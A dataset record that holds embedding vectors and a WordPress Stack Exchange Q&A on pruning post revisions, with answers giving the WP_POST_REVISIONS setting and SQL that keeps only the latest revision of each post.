-0.00875091552734375,
-0.0007686614990234375,
0.0325927734375,
0.041534423828125,
0.00933837890625,
-0.00826263427734375,
0.05242919921875,
-0.01360321044921875,
-0.033233642578125,
0.01432037353515625,
-0.001708984375,
0.02978515625,
0.03643798828125,
0.00963592529296875,
0.004913330078125,
0.016082763671875,
-0.0092926025390625,
-0.0005488395690917969,
-0.03643798828125,
-0.00933074951171875,
0.0014467239379882812,
0.034454345703125,
-0.023895263671875,
0.01311492919921875,
-0.004062652587890625,
0.01220703125,
-0.0173187255859375,
0.0266571044921875,
-0.04229736328125,
0.0179595947265625,
-0.02508544921875,
0.0257110595703125,
-0.06292724609375,
0.003936767578125,
0.04241943359375,
-0.00409698486328125,
-0.0261688232421875,
-0.0007090568542480469,
0.028533935546875,
-0.00063323974609375,
-0.0293731689453125,
-0.022369384765625,
-0.035003662109375,
0.0389404296875,
-0.0797119140625,
-0.004962921142578125,
-0.085693359375,
-0.01380157470703125,
0.0241546630859375,
0.0154266357421875,
-0.028350830078125,
-0.00726318359375,
-0.0023479461669921875,
0.0164947509765625,
-0.03704833984375,
0.046142578125,
-0.0230560302734375,
-0.03466796875,
-0.028564453125,
-0.0020160675048828125,
-0.0196380615234375,
-0.07745361328125,
0.00441741943359375,
0.055511474609375,
0.03875732421875,
0.0246734619140625,
0.023284912109375,
0.02880859375,
0.10101318359375,
0.012298583984375,
0.0279388427734375,
-0.0178070068359375,
0.0061187744140625,
0.04083251953125,
0.01226806640625,
0.0195770263671875,
0.0004444122314453125,
-0.0787353515625,
0.0284576416015625,
0.03607177734375,
-0.01143646240234375,
0.01371002197265625,
-0.033294677734375,
0.0195159912109375,
-0.00021600723266601562,
0.0026416778564453125,
0.007076263427734375,
-0.017486572265625,
0.00691986083984375,
0.033843994140625,
0.0249481201171875,
0.009765625,
-0.040191650390625,
0.020050048828125,
0.0164031982421875,
-0.00022518634796142578,
-0.0011196136474609375,
0.0198822021484375,
0.01464080810546875,
0.0162200927734375,
-0.0209197998046875,
-0.007053375244140625,
0.0178375244140625,
0.01320648193359375,
-0.00635528564453125,
0.00566864013671875,
0.0068511962890625,
-0.0009694099426269531,
0.00347900390625,
-0.06451416015625,
0.022430419921875,
0.02056884765625,
-0.072998046875,
-0.053192138671875,
-0.004611968994140625,
0.03594970703125,
-0.0012006759643554688,
-0.0229034423828125,
0.024566650390625,
-0.012420654296875,
-0.01020050048828125,
-0.034820556640625,
0.049102783203125,
-0.04266357421875,
0.044647216796875,
0.0750732421875,
-0.033782958984375,
0.05694580078125,
-0.0224456787109375,
0.01995849609375,
-0.02923583984375,
0.0217132568359375,
-0.0110015869140625,
-0.07269287109375,
0.0185546875,
-0.003108978271484375,
0.01934814453125,
0.05389404296875,
-0.01971435546875,
-0.043853759765625,
-0.0004734992980957031,
0.00274658203125,
-0.0760498046875,
-0.072021484375,
-0.0129241943359375,
-0.05389404296875,
0.0048828125,
-0.00597381591796875,
-0.0290069580078125,
-0.010040283203125,
0.03082275390625,
0.00734710693359375,
-0.01200103759765625,
-0.02142333984375,
-0.042816162109375,
-0.0595703125,
-0.06658935546875,
-0.047698974609375,
-0.003002166748046875,
0.01922607421875,
0.001918792724609375,
0.023345947265625,
0.0090789794921875,
-0.0023288726806640625,
0.03900146484375,
0.01446533203125,
0.0036602020263671875,
0.007244110107421875,
-0.007198333740234375,
-0.006465911865234375,
-0.01136016845703125,
0.0004024505615234375,
0.0299530029296875,
0.023193359375,
-0.0187225341796875,
0.01053619384765625,
-0.009002685546875,
-0.0140838623046875,
0.00787353515625,
0.025360107421875,
0.0109710693359375,
0.0036144256591796875,
0.0291900634765625,
-0.03717041015625,
0.009918212890625,
-0.04852294921875,
-0.0294342041015625,
0.037506103515625,
0.004917144775390625,
0.0067138671875,
-0.01617431640625,
0.038421630859375,
-0.0267486572265625,
-0.01308441162109375,
0.00638580322265625,
-0.04827880859375,
0.050048828125,
-0.005435943603515625,
-0.0167388916015625,
-0.007259368896484375,
0.01050567626953125,
-0.01485443115234375,
0.001129150390625,
-0.0001373291015625,
0.01531219482421875,
-0.032196044921875,
0.0265655517578125,
-0.039764404296875,
-0.057861328125,
0.06268310546875,
-0.007564544677734375,
0.04583740234375,
-0.0616455078125,
-0.0479736328125,
-0.0253143310546875,
0.1170654296875,
-0.025787353515625,
-0.026611328125,
-0.0208282470703125,
0.01235198974609375,
0.007190704345703125,
-0.027618408203125,
0.022674560546875,
-0.0104827880859375,
-0.007076263427734375,
-0.032135009765625,
0.0011577606201171875,
-0.01617431640625,
-0.0135498046875,
0.040985107421875,
-0.00878143310546875,
-0.022552490234375,
0.033416748046875,
-0.0160369873046875,
0.0202789306640625,
0.057373046875,
-0.002994537353515625,
0.052581787109375,
-0.053955078125,
-0.0114593505859375,
-0.11224365234375,
-0.002246856689453125,
-0.034637451171875,
0.06842041015625,
-0.0276947021484375,
0.0550537109375,
-0.043304443359375,
0.031768798828125,
0.031585693359375,
0.022735595703125,
-0.01197052001953125,
-0.0238189697265625,
-0.005916595458984375,
-0.026702880859375,
-0.0009589195251464844,
-0.0215301513671875,
-0.01104736328125,
-0.06121826171875,
-0.041748046875,
-0.0567626953125,
-0.046905517578125,
0.0306243896484375,
-0.031494140625,
-6.556510925292969e-7,
-0.00833892822265625,
0.0147857666015625,
0.037872314453125,
0.0570068359375,
-0.0008792877197265625,
0.0096893310546875,
-0.00646209716796875,
-0.016998291015625,
-0.0035266876220703125,
-0.006591796875,
-0.00222015380859375,
0.0206146240234375,
0.04913330078125,
0.012786865234375,
0.00945281982421875,
-0.07861328125,
0.01364898681640625,
0.029510498046875,
-0.007251739501953125,
0.034820556640625,
0.038482666015625,
0.01172637939453125,
-0.0233306884765625,
0.009552001953125,
0.02935791015625,
-0.032501220703125,
0.024139404296875,
-0.010894775390625,
-0.01432037353515625,
0.037200927734375,
-0.00508880615234375,
-0.005184173583984375,
-0.01267242431640625,
-0.0278472900390625,
-0.0070953369140625,
-0.019683837890625,
0.035430908203125,
-0.0143280029296875,
0.042236328125,
-0.0265045166015625,
-0.05523681640625,
0.026824951171875,
-0.04833984375,
0.0014896392822265625,
-0.00006300210952758789,
0.006420135498046875,
-0.004913330078125,
-0.01947021484375,
0.0165557861328125,
-0.006175994873046875,
0.026336669921875,
-0.01297760009765625,
0.057403564453125,
-0.0081787109375,
0.0086669921875,
-0.02239990234375,
-0.01171112060546875,
0.0164337158203125,
0.00931549072265625,
-0.037322998046875,
-0.023956298828125,
-0.0026111602783203125,
0.040496826171875,
-0.0006861686706542969,
0.009918212890625,
0.028900146484375,
0.00229644775390625,
-0.028472900390625,
-0.017791748046875,
-0.0111541748046875,
-0.00904083251953125,
-0.051849365234375,
-0.02398681640625,
0.0149078369140625,
-0.0175323486328125,
0.031097412109375,
0.02398681640625,
-0.0006184577941894531,
0.02789306640625,
-0.019622802734375,
0.030853271484375,
0.028472900390625,
0.0450439453125,
0.01021575927734375,
-0.007801055908203125,
-0.0240020751953125,
0.04229736328125,
-0.0108184814453125,
-0.054901123046875,
0.0310516357421875,
0.0060882568359375,
0.08221435546875,
-0.026397705078125,
-0.0760498046875,
0.039581298828125,
-0.09100341796875,
-0.01477813720703125,
0.03558349609375,
0.00594329833984375,
-0.047515869140625,
-0.0193023681640625,
0.0258331298828125,
0.04400634765625,
-0.02203369140625,
-0.0214691162109375,
-0.0038814544677734375,
-0.020721435546875,
0.01511383056640625,
-0.0098114013671875,
-0.00719451904296875,
-0.003276824951171875,
0.0024471282958984375,
-0.00736236572265625,
-0.01494598388671875,
-0.037200927734375,
0.048736572265625,
-0.00868988037109375,
-0.0152740478515625,
-0.025115966796875,
0.060943603515625,
-0.0154876708984375,
0.01555633544921875,
-0.006778717041015625,
-0.01268768310546875,
-0.039642333984375,
0.01165771484375,
0.045074462890625,
0.0182952880859375,
0.034820556640625,
-0.029052734375,
-0.0232391357421875,
-0.0010557174682617188,
0.05029296875,
-0.037841796875,
0.018463134765625,
-0.0286407470703125,
0.00860595703125,
0.03851318359375,
0.0020923614501953125,
0.0106048583984375,
-0.0059356689453125,
0.009979248046875,
-0.0032825469970703125,
0.06640625,
0.0217132568359375,
0.0122222900390625,
0.0009813308715820312,
0.05682373046875,
0.00823974609375,
-0.0164337158203125,
-0.05218505859375,
-0.02587890625,
-0.0281524658203125,
-0.0870361328125,
0.035919189453125,
0.03326416015625,
0.02264404296875,
0.0216217041015625,
-0.043212890625,
0.037750244140625,
0.017822265625,
-0.019775390625,
0.004852294921875,
-0.0211181640625,
0.0323486328125,
-0.040740966796875,
-0.0197296142578125,
0.045135498046875,
-0.057891845703125,
0.0032176971435546875,
0.004119873046875,
0.0297698974609375,
-0.019989013671875,
-0.048309326171875,
-0.02264404296875,
0.0634765625,
0.00780487060546875,
-0.0199432373046875,
0.05517578125,
0.0170135498046875,
0.050506591796875,
0.017486572265625,
0.026214599609375,
0.038604736328125,
0.057891845703125,
-0.005725860595703125,
-0.04180908203125,
0.054443359375,
0.02197265625,
-0.0203857421875,
0.021148681640625,
-0.030120849609375,
0.006916046142578125,
-0.0482177734375,
0.0182647705078125,
0.04095458984375,
0.0023345947265625,
0.0026569366455078125,
-0.034942626953125,
0.00984954833984375,
0.006977081298828125,
0.004512786865234375,
-0.004909515380859375,
0.0190582275390625,
-0.029571533203125,
-0.0231170654296875,
-0.01412200927734375,
-0.008270263671875,
-0.00374603271484375,
-0.022308349609375,
0.0064239501953125,
0.00507354736328125,
0.01155853271484375,
-0.028594970703125,
0.01424407958984375,
-0.017333984375,
-0.0081787109375,
-0.0021228790283203125,
-0.034393310546875,
-0.020111083984375,
-0.056610107421875,
-0.025115966796875,
-0.05126953125,
0.02032470703125,
0.002468109130859375,
0.0088348388671875,
0.07000732421875,
0.0308837890625,
0.0270233154296875,
-0.030059814453125,
0.01140594482421875,
-0.0088348388671875,
0.0169219970703125,
-0.0211334228515625,
0.00647735595703125,
0.040557861328125,
-0.0096435546875,
0.0192413330078125,
0.003986358642578125,
0.00006222724914550781,
-0.00811767578125,
-0.004608154296875,
0.06878662109375,
-0.08099365234375,
0.0168609619140625,
0.030242919921875,
0.04461669921875,
-0.0032711029052734375,
0.00775146484375,
0.040313720703125,
-0.04388427734375,
-0.048095703125,
0.0179901123046875,
-0.06085205078125,
-0.0313720703125,
-0.0263671875,
-0.062744140625,
0.07244873046875,
-0.0007171630859375,
0.03424072265625,
-0.01025390625,
0.0271453857421875,
0.01021575927734375,
0.0119171142578125,
-0.0350341796875,
0.039215087890625,
-0.006587982177734375,
0.012603759765625,
-0.038848876953125,
0.01255035400390625,
-0.01340484619140625,
0.0019283294677734375,
0.10455322265625,
0.036651611328125,
-0.0291290283203125,
-0.033905029296875,
0.01032257080078125,
0.02667236328125,
-0.0277252197265625,
0.05084228515625,
0.0182037353515625,
-0.0142059326171875,
0.031707763671875,
-0.0079193115234375,
0.03594970703125,
-0.042877197265625,
0.01239776611328125,
0.0262298583984375,
0.005992889404296875,
0.0181121826171875,
-0.007091522216796875,
0.051177978515625,
-0.0272979736328125,
-0.017425537109375,
0.0465087890625,
-0.061553955078125,
0.0247802734375,
0.029144287109375,
0.0188446044921875,
0.03143310546875,
-0.007602691650390625,
-0.00665283203125,
0.041351318359375,
0.0092315673828125,
0.03521728515625,
0.0035343170166015625,
0.01230621337890625,
0.0286407470703125,
0.0304718017578125,
0.018280029296875,
0.046539306640625,
-0.003795623779296875,
0.0213623046875,
-0.00809478759765625,
0.008636474609375,
-0.060821533203125,
-0.0158233642578125,
0.065673828125,
0.048797607421875,
-0.031341552734375,
-0.0221710205078125,
0.0273284912109375,
0.01224517822265625,
-0.018096923828125,
-0.0158538818359375,
0.0006437301635742188,
-0.0775146484375,
-0.029754638671875,
-0.04974365234375,
0.01385498046875,
0.02880859375,
0.04949951171875,
-0.0110931396484375,
-0.00617218017578125,
-0.060760498046875,
-0.020660400390625,
-0.046295166015625,
0.03955078125,
0.034423828125,
0.05548095703125,
-0.019073486328125,
0.059722900390625,
-0.0177459716796875,
-0.01378631591796875,
-0.0176849365234375,
0.016845703125,
-0.024749755859375,
0.038726806640625,
-0.021148681640625,
-0.043121337890625,
0.0194854736328125,
0.0296173095703125,
0.01534271240234375,
0.03167724609375,
0.044952392578125,
0.0167999267578125,
-0.038818359375,
-0.007266998291015625,
0.00968170166015625,
-0.03558349609375,
0.016021728515625,
-0.0305023193359375,
0.0279541015625,
0.028472900390625,
-0.006786346435546875,
-0.005107879638671875,
-0.0236053466796875,
0.0770263671875,
-0.016845703125,
0.031982421875,
-0.004253387451171875,
-0.0083770751953125,
0.0250244140625,
0.0194549560546875,
0.047027587890625,
0.0214385986328125,
-0.0531005859375,
-0.0204925537109375,
-0.0144805908203125,
-0.07611083984375,
0.018463134765625,
0.03961181640625,
-0.0252838134765625,
0.003204345703125,
-0.01454925537109375,
0.0037899017333984375,
0.0225067138671875,
-0.0222625732421875,
-0.006427764892578125,
-0.0071258544921875,
0.021331787109375,
-0.01180267333984375,
-0.0269317626953125,
-0.01800537109375,
0.009979248046875,
0.0087127685546875,
0.0062103271484375,
0.0171966552734375,
0.020538330078125,
0.0143280029296875,
-0.011474609375,
0.0377197265625,
-0.0509033203125,
0.002010345458984375,
-0.0097808837890625,
-0.008026123046875,
0.006656646728515625,
0.0005812644958496094,
0.0236663818359375,
0.01058197021484375,
0.01531219482421875,
-0.02264404296875,
-0.042205810546875,
-0.0174407958984375,
0.03338623046875,
0.046875,
0.0389404296875,
-0.01242828369140625,
0.0106201171875,
-0.0178375244140625,
-0.0255279541015625,
0.055267333984375,
0.01454925537109375,
-0.0063018798828125,
0.00991058349609375,
0.0277862548828125,
-0.013702392578125,
0.045501708984375,
-0.01538848876953125,
0.0634765625,
0.034027099609375,
-0.005641937255859375,
-0.04443359375,
-0.01080322265625,
-0.01507568359375,
-0.0175323486328125,
-0.006046295166015625,
0.04986572265625,
-0.0066986083984375,
-0.039703369140625,
0.028289794921875,
0.038177490234375,
0.039093017578125,
-0.005344390869140625,
0.003734588623046875,
0.0169677734375,
-0.0283966064453125,
0.021728515625,
-0.028839111328125,
-0.01885986328125,
-0.05029296875,
0.0172882080078125,
0.03851318359375,
-0.0192413330078125,
0.021240234375,
-0.04302978515625,
-0.0225982666015625,
0.03515625,
0.0105133056640625,
-0.039215087890625,
0.0148468017578125,
-0.00799560546875,
0.00843048095703125,
-0.003963470458984375,
-0.0216827392578125,
0.012481689453125,
0.06005859375,
-0.0194854736328125,
-0.0595703125,
-0.034698486328125,
0.031982421875,
-0.043365478515625,
0.037872314453125,
0.036895751953125,
-0.04449462890625,
-0.0038604736328125,
0.0297698974609375,
0.0555419921875,
0.062408447265625,
0.0245513916015625,
-0.055511474609375,
-0.03118896484375,
-0.00272369384765625,
0.0279693603515625,
0.007190704345703125,
0.026336669921875,
-0.049652099609375,
-0.0277099609375,
-0.051727294921875,
0.037200927734375,
0.03887939453125,
-0.021575927734375,
-0.060150146484375,
-0.002777099609375,
-0.02001953125,
-0.031585693359375,
-0.043548583984375,
0.02130126953125,
-0.01354217529296875,
0.01294708251953125,
-0.00646209716796875,
-0.026397705078125,
0.0137176513671875,
0.03826904296875,
-0.019561767578125,
-0.005466461181640625,
0.037261962890625,
-0.0275115966796875,
-0.038238525390625,
-0.035400390625,
-0.0255584716796875,
-0.017242431640625,
0.00960540771484375,
0.00044989585876464844,
0.02117919921875,
0.036712646484375,
-0.0291595458984375,
-0.0027561187744140625,
-0.017547607421875,
-0.01442718505859375,
-0.032745361328125,
-0.042816162109375,
-0.02581787109375,
0.0169525146484375,
0.07427978515625,
0.1060791015625,
0.01520538330078125,
-0.072509765625,
0.03094482421875,
-0.0242767333984375,
-0.054351806640625,
0.0012979507446289062,
0.0158843994140625,
-0.03485107421875,
-0.00647735595703125,
0.003986358642578125,
-0.01708984375,
-0.033935546875,
0.00496673583984375,
-0.038421630859375,
-0.0002493858337402344,
0.0150299072265625,
0.00724029541015625,
-0.0218048095703125,
0.003604888916015625,
0.057373046875,
-0.039794921875,
0.0167388916015625,
0.00399017333984375,
0.005268096923828125,
0.04071044921875,
0.006504058837890625,
0.0257720947265625,
0.004199981689453125,
0.012969970703125,
0.0005474090576171875,
0.047149658203125,
-0.0130767822265625,
0.0241546630859375,
-0.023895263671875,
-0.0240936279296875,
-0.005458831787109375,
0.005397796630859375,
-0.014129638671875,
-0.0007748603820800781,
0.036102294921875,
0.0135650634765625,
0.046112060546875,
-0.0289459228515625,
-0.0501708984375,
-0.0233154296875,
-0.01543426513671875,
-0.0252685546875,
0.030120849609375,
0.02593994140625,
-0.03240966796875,
0.0068817138671875,
0.01097869873046875,
-0.00577545166015625,
-0.04022216796875,
0.0189666748046875,
-0.0240020751953125,
0.005279541015625,
0.0223388671875
] |
1834ee29cf6ba1112d90ee5cb11b2f7ab77419ce
|
Wordpress Stackexchange
Q: How to remove in the wordpress database all posts revisions except the last three? here is the commonly recommended sql command for removing posts revisions and cleaning up the wp database:
DELETE a,b,c
FROM `wp_posts` a
LEFT JOIN `wp_term_relationships` b ON (a.ID = b.object_id)
LEFT JOIN `wp_postmeta` c ON (a.ID = c.post_id)
WHERE a.post_type = 'revision';
how can i modify it to keep let's say the last 3 revisions ?
A: You can prevent more than three revisions from being saved to the database in the future by adding this line to your wp-config.php file:
define( 'WP_POST_REVISIONS', 3 );
That line should limit new posts to three revisions, but it won't go through your database and clean it up.
The SQL snippet that you found for deleting old revisions from the WordPress database has problems, which you can read about in this thread on WordPress.org. The thread outlines the problems, and offers alternatives. The thread also reviews some plugins that will do this for you.
|
Q: How to remove in the wordpress database all posts revisions except the last three? here is the commonly recommended sql command for removing posts revisions and cleaning up the wp database:
DELETE a,b,c
FROM `wp_posts` a
LEFT JOIN `wp_term_relationships` b ON (a.ID = b.object_id)
LEFT JOIN `wp_postmeta` c ON (a.ID = c.post_id)
WHERE a.post_type = 'revision';
how can i modify it to keep let's say the last 3 revisions ?
A: You can prevent more than three revisions from being saved to the database in the future by adding this line to your wp-config.php file:
define( 'WP_POST_REVISIONS', 3 );
That line should limit new posts to three revisions, but it won't go through your database and clean it up.
The SQL snippet that you found for deleting old revisions from the WordPress database has problems, which you can read about in this thread on WordPress.org. The thread outlines the problems, and offers alternatives. The thread also reviews some plugins that will do this for you.
A: Here's an approach to delete all revisions except the last one (I know its not what was asked originally but I hope this helps somebody to use a similar solution).
Step 1. Create temporary table with the revisions that you want to keep:
DROP TABLE IF EXISTS t_keep_revisions;
CREATE TEMPORARY TABLE t_keep_revisions AS (
SELECT
MAX(p.ID) as ID,
p.post_parent
FROM wp_posts p
WHERE p.post_type = 'revision'
GROUP BY p.post_parent
ORDER BY p.post_parent
);
Step 2. Delete all Revision Posts except those which ID is in the table created above
DELETE FROM wp_posts
WHERE post_type = 'revision'
AND ID NOT IN (
SELECT ID
FROM t_keep_revisions
);
Step 3. Delete orphan metadata from wp_postmeta
DELETE FROM wp_postmeta
WHERE post_id NOT IN (
SELECT ID FROM wp_posts
)
|
wordpress
|
{
"language": "en",
"length": 293,
"provenance": "stackexchange_00019.jsonl.gz:436910",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113607"
}
|
[
0.049957275390625,
0.00579833984375,
-0.0297393798828125,
-0.039306640625,
0.038665771484375,
-0.034515380859375,
0.0458984375,
-0.0074920654296875,
0.03973388671875,
0.0262908935546875,
-0.047271728515625,
-0.035064697265625,
0.0198822021484375,
-0.00148773193359375,
-0.042572021484375,
-0.034271240234375,
0.048309326171875,
-0.035888671875,
0.0290679931640625,
0.0103302001953125,
-0.0098724365234375,
0.033905029296875,
0.0518798828125,
0.053314208984375,
0.008087158203125,
0.01242828369140625,
0.09075927734375,
-0.029296875,
0.020599365234375,
-0.025848388671875,
0.0218048095703125,
-0.01534271240234375,
0.00986480712890625,
0.00812530517578125,
0.01053619384765625,
-0.005565643310546875,
0.006160736083984375,
0.0135955810546875,
0.028717041015625,
-0.0225372314453125,
0.016815185546875,
-0.012908935546875,
-0.005405426025390625,
-0.004520416259765625,
-0.03204345703125,
-0.0056915283203125,
0.01087188720703125,
-0.005641937255859375,
-0.006134033203125,
-0.01555633544921875,
-0.0032634735107421875,
0.0102691650390625,
0.0283050537109375,
-0.0037708282470703125,
-0.01678466796875,
-0.022491455078125,
0.00036597251892089844,
0.01544189453125,
0.035858154296875,
-0.00450897216796875,
-0.0304107666015625,
0.00902557373046875,
0.01076507568359375,
-0.017578125,
-0.0439453125,
0.015869140625,
0.0465087890625,
-0.0021514892578125,
-0.06707763671875,
-0.07275390625,
0.032440185546875,
-0.0163116455078125,
0.0196380615234375,
-0.042755126953125,
0.007083892822265625,
0.030242919921875,
0.0021648406982421875,
0.0196990966796875,
0.01030731201171875,
-0.0137786865234375,
0.03228759765625,
-0.01093292236328125,
-0.04278564453125,
0.004184722900390625,
-0.007396697998046875,
0.015777587890625,
0.0009946823120117188,
-0.015899658203125,
-0.0163726806640625,
-0.0421142578125,
-0.0163726806640625,
-0.051788330078125,
-0.052825927734375,
0.014251708984375,
-0.000025570392608642578,
-0.0322265625,
0.044677734375,
0.0458984375,
-0.015655517578125,
-0.023040771484375,
0.00014162063598632812,
-0.0275115966796875,
-0.03155517578125,
-0.007549285888671875,
0.00925445556640625,
0.0297698974609375,
-0.022247314453125,
-0.01392364501953125,
0.038970947265625,
0.04486083984375,
0.02227783203125,
-0.0012388229370117188,
-0.01256561279296875,
-0.034393310546875,
-0.01318359375,
0.016265869140625,
-0.022979736328125,
0.0017566680908203125,
0.0111846923828125,
-0.02459716796875,
-0.0362548828125,
0.00017464160919189453,
-0.055938720703125,
-0.0253448486328125,
-0.0031070709228515625,
-0.048614501953125,
-0.01000213623046875,
0.053558349609375,
-0.034149169921875,
0.0222320556640625,
-0.02703857421875,
0.0259857177734375,
0.0709228515625,
0.015655517578125,
-0.0175628662109375,
-0.0240020751953125,
0.0187530517578125,
-0.00913238525390625,
-0.0093994140625,
0.02581787109375,
-0.035430908203125,
-0.026336669921875,
0.0245208740234375,
-0.03204345703125,
0.036346435546875,
0.03759765625,
0.016448974609375,
-0.014373779296875,
0.02276611328125,
-0.01026153564453125,
-0.051513671875,
0.00927734375,
0.0506591796875,
-0.0190277099609375,
-0.00714874267578125,
-0.076904296875,
0.0235443115234375,
-0.06280517578125,
0.01145172119140625,
-0.0609130859375,
0.01097869873046875,
-0.011993408203125,
0.01242828369140625,
-0.0090789794921875,
-0.056671142578125,
0.031829833984375,
-0.0439453125,
-0.029266357421875,
0.0302886962890625,
-0.01291656494140625,
0.027008056640625,
-0.06378173828125,
0.017822265625,
-0.0023040771484375,
-0.0132598876953125,
0.0352783203125,
-0.012420654296875,
-0.0285797119140625,
0.00665283203125,
0.0635986328125,
0.00939178466796875,
-0.028717041015625,
-0.024322509765625,
0.023223876953125,
-0.0478515625,
0.00868988037109375,
0.010101318359375,
0.0579833984375,
0.019378662109375,
0.033050537109375,
0.05303955078125,
-0.0186614990234375,
-0.007419586181640625,
-0.00429534912109375,
-0.004955291748046875,
-0.0230255126953125,
-0.005496978759765625,
-0.0013933181762695312,
-0.0162353515625,
0.0166015625,
-0.01145172119140625,
0.02001953125,
-0.0178070068359375,
0.0030765533447265625,
-0.1036376953125,
0.0260162353515625,
-0.042877197265625,
0.050537109375,
-0.0198516845703125,
0.01009368896484375,
0.04315185546875,
0.0249481201171875,
-0.05792236328125,
0.0095977783203125,
-0.017242431640625,
-0.0019741058349609375,
-0.0296173095703125,
0.0040283203125,
-0.0201568603515625,
0.031646728515625,
-0.0445556640625,
-0.034332275390625,
-0.05633544921875,
-0.02349853515625,
0.046173095703125,
-0.031402587890625,
-0.003757476806640625,
-0.033843994140625,
0.03759765625,
-0.00438690185546875,
-0.032989501953125,
0.037322998046875,
0.029022216796875,
0.03839111328125,
-0.00939178466796875,
-0.007427215576171875,
-0.00925445556640625,
-0.0745849609375,
0.0037174224853515625,
0.047515869140625,
0.018890380859375,
0.024993896484375,
-0.03424072265625,
-0.0238189697265625,
-0.003032684326171875,
-0.08599853515625,
-0.007843017578125,
0.006595611572265625,
0.00595855712890625,
0.04736328125,
0.009368896484375,
0.0027446746826171875,
0.00787353515625,
-0.047332763671875,
0.01186370849609375,
0.0340576171875,
-0.0256195068359375,
0.0102386474609375,
0.00799560546875,
-0.0228118896484375,
0.0060577392578125,
-0.076904296875,
-0.028106689453125,
-0.030731201171875,
0.0379638671875,
-0.00902557373046875,
0.05352783203125,
0.043304443359375,
0.00653076171875,
-0.01776123046875,
0.002857208251953125,
-0.0220184326171875,
0.00958251953125,
-0.0011434555053710938,
-0.0433349609375,
0.0190277099609375,
-0.033447265625,
0.031219482421875,
0.0220184326171875,
-0.0089111328125,
-0.0163726806640625,
0.0208740234375,
0.047821044921875,
-0.02191162109375,
-0.0026607513427734375,
-0.03936767578125,
0.023284912109375,
-0.03497314453125,
-0.03326416015625,
-0.0245361328125,
0.01061248779296875,
0.011505126953125,
-0.0212554931640625,
0.007659912109375,
0.0061798095703125,
-0.0161285400390625,
-0.0166778564453125,
-0.039764404296875,
0.03515625,
-0.02435302734375,
0.01534271240234375,
0.0697021484375,
0.01922607421875,
-0.01253509521484375,
-0.0013780593872070312,
0.03350830078125,
0.0304412841796875,
-0.0217132568359375,
-0.0208740234375,
-0.003692626953125,
-0.0780029296875,
-0.036285400390625,
0.016082763671875,
0.006427764892578125,
0.02166748046875,
-0.0173187255859375,
0.0048828125,
0.0161895751953125,
-0.0433349609375,
-0.0288848876953125,
-0.004058837890625,
-0.0202789306640625,
-0.0098876953125,
-0.0030727386474609375,
-0.006103515625,
-0.002887725830078125,
0.0017862319946289062,
-0.003040313720703125,
0.07733154296875,
-0.003604888916015625,
-0.042694091796875,
0.01708984375,
-0.07257080078125,
-0.0262298583984375,
0.002750396728515625,
0.005786895751953125,
0.00064849853515625,
0.09808349609375,
0.008575439453125,
-0.0721435546875,
-0.0297393798828125,
-0.04083251953125,
-0.047821044921875,
-0.01317596435546875,
0.0256805419921875,
-0.00543975830078125,
-0.0225372314453125,
0.0144195556640625,
-0.0030918121337890625,
0.01532745361328125,
-0.03173828125,
-0.024993896484375,
0.004985809326171875,
-0.0192413330078125,
0.034149169921875,
-0.02752685546875,
-0.03973388671875,
0.040740966796875,
0.0399169921875,
-0.0167694091796875,
-0.0273284912109375,
0.0022125244140625,
-0.0201416015625,
0.0233001708984375,
0.0007047653198242188,
-0.004642486572265625,
-0.0112457275390625,
0.0298919677734375,
0.0653076171875,
0.0308990478515625,
-0.006195068359375,
0.02716064453125,
-0.00942230224609375,
0.0214996337890625,
0.055084228515625,
-0.0394287109375,
0.04083251953125,
-0.00809478759765625,
-0.0029296875,
0.008758544921875,
-0.003589630126953125,
-0.005809783935546875,
-0.0295867919921875,
-0.0469970703125,
-0.01032257080078125,
0.021728515625,
-0.0198516845703125,
0.0533447265625,
-0.040771484375,
-0.0179901123046875,
-0.02777099609375,
0.0723876953125,
-0.01497650146484375,
-0.0252532958984375,
-0.0394287109375,
-0.0016832351684570312,
0.0004642009735107422,
-0.03033447265625,
0.002811431884765625,
-0.01476287841796875,
-0.05450439453125,
0.0260772705078125,
0.00827789306640625,
-0.018707275390625,
-0.035430908203125,
0.0116729736328125,
-0.0557861328125,
-0.02484130859375,
0.034576416015625,
-0.037811279296875,
-0.0087890625,
0.0142822265625,
-0.00301361083984375,
-0.039154052734375,
-0.01490020751953125,
-0.0263214111328125,
-0.0806884765625,
-0.014068603515625,
-0.02764892578125,
0.0645751953125,
0.02276611328125,
-0.02618408203125,
-0.01220703125,
0.0389404296875,
0.016693115234375,
0.0173187255859375,
0.00640869140625,
0.00732421875,
-0.041717529296875,
-0.002536773681640625,
0.02154541015625,
-0.04547119140625,
-0.0284423828125,
-0.06951904296875,
0.016326904296875,
-0.027313232421875,
-0.058746337890625,
0.0093994140625,
-0.07794189453125,
0.026153564453125,
-0.025115966796875,
-0.0185394287109375,
-0.025299072265625,
0.028961181640625,
-0.015655517578125,
-0.0031147003173828125,
-0.03729248046875,
-0.0389404296875,
0.031646728515625,
0.01311492919921875,
-0.022552490234375,
0.0208587646484375,
0.060089111328125,
0.005157470703125,
-0.0225372314453125,
-0.09478759765625,
-0.0145263671875,
0.030303955078125,
-0.00861358642578125,
0.05743408203125,
0.0240936279296875,
-0.01381683349609375,
0.07073974609375,
-0.0015106201171875,
-0.022003173828125,
-0.027191162109375,
0.05078125,
-0.0010843276977539062,
-0.0022220611572265625,
-0.0164337158203125,
-0.041351318359375,
0.047760009765625,
0.02557373046875,
0.0137786865234375,
-0.0261383056640625,
0.01235198974609375,
0.04522705078125,
-0.0008153915405273438,
-0.01522064208984375,
-0.042388916015625,
-0.025726318359375,
0.00565338134765625,
-0.0147857666015625,
0.043548583984375,
0.014434814453125,
0.01432037353515625,
0.02294921875,
0.035064697265625,
0.007808685302734375,
-0.03314208984375,
0.00016367435455322266,
-0.030609130859375,
0.037017822265625,
-0.01666259765625,
-0.01158905029296875,
-0.007747650146484375,
-0.0147705078125,
0.036224365234375,
0.0084381103515625,
-0.0635986328125,
0.018798828125,
0.003414154052734375,
0.05389404296875,
0.007801055908203125,
-0.01131439208984375,
0.029205322265625,
0.022186279296875,
0.00027370452880859375,
-0.0237274169921875,
-0.041046142578125,
0.00913238525390625,
-0.03985595703125,
0.006778717041015625,
0.01007843017578125,
-0.0168914794921875,
0.03778076171875,
-0.005260467529296875,
0.01541900634765625,
-0.003047943115234375,
-0.0166168212890625,
0.062286376953125,
0.028411865234375,
0.00676727294921875,
-0.00665283203125,
0.037017822265625,
0.0262603759765625,
-0.034881591796875,
0.0032787322998046875,
-0.037078857421875,
-0.055419921875,
0.027008056640625,
0.032928466796875,
-0.0004448890686035156,
0.01105499267578125,
0.005767822265625,
